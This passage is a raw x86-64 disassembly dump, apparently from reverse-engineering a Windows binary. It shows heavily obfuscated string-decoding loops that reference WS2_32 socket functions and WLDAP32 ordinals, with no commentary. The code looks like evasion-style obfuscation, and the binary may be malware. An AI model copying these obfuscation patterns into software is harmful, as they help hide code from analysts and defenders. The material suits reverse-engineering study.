lea edx, [rdi + 0x66]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd5a0
lea edx, [rdi - 0x54]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd5d3
lea edx, [rdi - 0xe]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd5fc
lea edx, [rdi + 0x38]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
lea ecx, [rdi + 0x67]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2f
mov byte [rbp + rdi + 0x720], r10b
inc rdi
jmp 0x1400bcb13
lea edx, [rdi - 0x53]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x45
add r10b, dl
cmp r9, 0x80
jb 0x1400bcf4b
movzx ebx, dil
lea edx, [rbx + 0xe]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400bd519
lea ecx, [rdi - 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5b
cmp r8, 4
jae 0x1400bd451
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400bd370
lea edx, [rdi - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bcf74
lea ecx, [rdi + 0x39]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400bd47b
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400bd256
lea ecx, [rdi + 0x29]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
jmp 0x1400bcfb6
lea ecx, [rdi - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400bd5fc
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x1400bd5d3
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400bd5a0
lea ecx, [rdi - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x1400bd59d
movzx ebx, dil
lea edx, [rbx + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd57d
lea edx, [rdi + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400bcb13
lea edx, [rdi - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bcb13
movzx ebx, dil
lea edx, [rbx - 0xa]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd519
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400bd17b
lea ecx, [rdi + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x1400bcffe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bd1b4
lea edx, [rdi + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
inc rax
cmp r8, rax
jne 0x1400bd1db
lea edx, [rdi - 4]
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd5fc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd202
movzx ebx, dil
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400bd57d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bd22b
lea ecx, [rdi - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
dec rdi
inc rdi
jmp 0x1400bcb13
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bcffe
movzx ebx, dil
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x1400bd519
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bd27d
movzx ebx, dil
lea ecx, [rbx - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x35
jmp 0x1400bd519
inc rax
cmp r8, rax
jne 0x1400bd2a8
lea ecx, [rdi - 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
inc r9
dec rdi
inc rdi
jmp 0x1400bcb13
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bd2cf
movzx ebx, dil
lea ecx, [rbx + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
jmp 0x1400bd57d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bd2f2
lea ecx, [rdi - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
jmp 0x1400bd59d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bd315
lea ecx, [rdi + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
jmp 0x1400bd5d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd338
lea ecx, [rdi - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
jmp 0x1400bd5fc
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400bcfb6
lea ecx, [rdi - 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bd3a9
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd3d1
lea edx, [rdi - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd5d3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bd3f8
movzx ebx, dil
lea ecx, [rbx + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400bd57d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bd422
lea ecx, [rdi - 0x20]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rdi
inc rdi
jmp 0x1400bcb13
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bcf74
movzx ebx, dil
lea edx, [rbx + 0x54]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
add r10b, dl
jmp 0x1400bd519
movzx ebx, dil
lea edx, [rbx - 0x38]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rdi + 0x720]
sub r10b, al
sub r10b, 0x78
add r10b, r11b
add r10b, dl
jmp 0x1400bd57d
lea edx, [rdi - 0x7e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400bd5d3
lea ecx, [rdi + 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
movzx ebx, dil
lea ecx, [rbx - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x1400bd57d
lea ecx, [rdi - 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
dec rdi
inc rdi
jmp 0x1400bcb13
movzx ebx, dil
lea ecx, [rbx + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
add bl, 0x6b
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
add r11b, 0x13
add r11b, bl
mov byte [rbp + rdi + 0x720], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bcb13
lea ecx, [rdi + 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
dec rdi
inc rdi
jmp 0x1400bcb13
movzx ebx, dil
lea ecx, [rbx - 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
add bl, 0x25
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 3
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi + 0x720], r11b
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bcb13
lea rcx, [rdi + r15]
movzx r11d, dl
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x33
add r10b, cl
lea edx, [rdi - 0x21]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x19
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x720], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x3c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x720], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x5f
movzx eax, byte [rbp + rdi + 0x720]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb13
add dil, 0x51
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x37
jmp 0x1400bcb10
sub dil, 0x69
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x21
jmp 0x1400bcb00
lea rbx, [rbp + 0x166ed9c]
jmp 0x1400bd6be
lea rbx, [rbp + 0x84ebf9]
jmp 0x1400bd6be
lea rbx, [rbp + 0x720]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0xa48]
call fcn.140002620
nop
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400bd6e0
mov rdx, rbx
lea rcx, [rbp + 0xa48]
call fcn.140004030
nop
movzx eax, word [reloc.WLDAP32.dll_Ordinal_50]
sub al, 0x6a
xor al, 0x3a
mov byte [rbp + 0x1f0], al
movzx eax, byte [0x14019a591]
sub al, 0x6a
xor al, 0x3b
mov byte [rbp + 0x1f1], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f2], xmm0
movups xmmword [rbp + 0x202], xmm0
mov byte [rbp + 0x212], al
movabs rsi, 0x8ab7058804ebd73a
movabs r15, 0xcb0126b82272e296
movabs r14, 0xa02510980ec385ae
movzx r10d, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rdi, r13
cmp rdi, 0x23
jae 0x1400be22d
movzx ebx, byte [rbp + rdi + 0x1f0]
mov r11, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400be224
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bd7bc
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x6a
jmp 0x1400bd7f0
je 0x1400be1aa
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400be128
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400be0cc
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400be087
nop dword [rax]
cmp r9, rdi
ja 0x1400be21b
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400bd818
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
jmp 0x1400bd860
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400be06c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400be048
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400be036
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400be01d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bdfff
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400bdd7b
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bdd5d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bdd36
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bdd12
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bdd00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bdce7
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bdcce
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400bdcb5
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bdc97
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bdc68
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bd870
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400be1fb
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400be1db
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bda59
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400bda40
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bda27
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bdc25
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400bdbdf
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bdb9d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400bdb79
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400bd870
lea r8, [r9 + 0x7a]
lea r9, [r8 + 5]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bdb4f
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bdb36
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bdb1d
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bdaff
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bdae1
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400bdad0
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bdab1
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bda8f
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bda72
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bd870
lea r8, [r9 + 0xa]
lea r9, [r8 + 9]
jmp 0x1400bd870
lea ecx, [rdi + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x72
jmp 0x1400bd860
lea ecx, [rdi + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
jmp 0x1400bd7f0
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1a
jmp 0x1400bd785
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x70
movzx r11d, dil
jmp 0x1400be0a0
lea ecx, [rdi - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x44
inc r9
dec rdi
inc rdi
jmp 0x1400bd773
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
dec rdi
inc rdi
jmp 0x1400bd773
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx r11d, dil
jmp 0x1400be0d9
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be10c
lea edx, [rdi - 0x34]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be10f
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
jmp 0x1400be144
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3c
jmp 0x1400be16c
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rdi + 0x1f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bd773
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x22
mov byte [rbp + rdi + 0x1f0], r10b
inc rdi
jmp 0x1400bd773
lea edx, [rdi - 0x26]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x20
jb 0x1400bdb8d
movzx r11d, dil
lea ecx, [r11 + 0x1c]
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
jmp 0x1400be0a0
lea edx, [rdi + 0x66]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 9
jae 0x1400bdfc4
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400bdeca
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xc
jmp 0x1400bdbb6
lea edx, [rdi - 0xe]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1400bdfea
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400bde4c
lea edx, [rdi - 0x2e]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x1400bdbec
lea edx, [rdi - 0x74]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x1f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bd773
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be16c
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
jmp 0x1400be144
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x1400be10f
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x1400be10c
movzx r11d, dil
lea edx, [r11 + 0x48]
mov ecx, 4
jmp 0x1400be0d9
lea edx, [rdi - 0x2c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x1400bd773
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400bd773
movzx r11d, dil
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x74
jmp 0x1400be0a0
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400bdd96
lea edx, [rdi + 0x3a]
movzx eax, dl
and al, bl
mov ecx, gethostname
jmp 0x1400bdc32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bddce
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x1f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bd773
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bddf5
lea edx, [rdi + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be144
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bde1c
movzx r11d, dil
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x1400be0ea
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bdc3e
movzx r11d, dil
lea edx, [r11 + 0x24]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be0a0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bde78
movzx r11d, dil
lea edx, [r11 + 0x46]
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be0a0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bde9f
lea edx, [rdi + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be10c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bdbf8
lea edx, [rdi - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be10f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bdefd
lea ecx, [rdi + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
movzx eax, byte [rbp + rdi + 0x1f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bd773
inc rax
cmp r8, rax
jne 0x1400bdf1e
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x64
jmp 0x1400be16c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bdf45
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be144
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bdf6c
movzx r11d, dil
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x14
jmp 0x1400be0ea
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bdf94
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
dec rdi
inc rdi
jmp 0x1400bd773
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bdbb6
movzx r11d, dil
lea edx, [r11 - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be0a0
movzx r11d, dil
lea edx, [r11 - 0x70]
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x1f0]
sub cl, al
add cl, 8
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400be0ea
lea ecx, [rdi + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rcx - 0x1c]
jmp 0x1400be144
lea edx, [rdi - 0x12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be144
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x56
jmp 0x1400be10f
movzx r11d, dil
lea edx, [r11 - 0x6e]
mov ecx, 1
jmp 0x1400be0d9
lea edx, [rdi + 0x1e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x1400bd773
movzx r11d, dil
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7a
jmp 0x1400be0a0
movzx r11d, dil
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x22
add r11b, 0x56
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x5a
add r11b, bl
mov byte [rbp + rdi + 0x1f0], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bd773
movzx r11d, dil
lea edx, [r11 - 0xe]
mov ecx, Ordinal_50
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
sub r11b, 0x36
movzx eax, r11b
and al, bl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x1f0], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bd773
lea rcx, [rdi + r15]
movzx ebx, r11b
and r11b, cl
add r11b, r11b
movzx r10d, bl
sub r10b, r11b
sub r10b, 0x1a
add r10b, cl
lea edx, [rdi + 0x3e]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x1f0], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x48
add cl, bl
mov byte [rbp + rdi + 0x1f0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x1f0]
add rax, r9
add rdi, rax
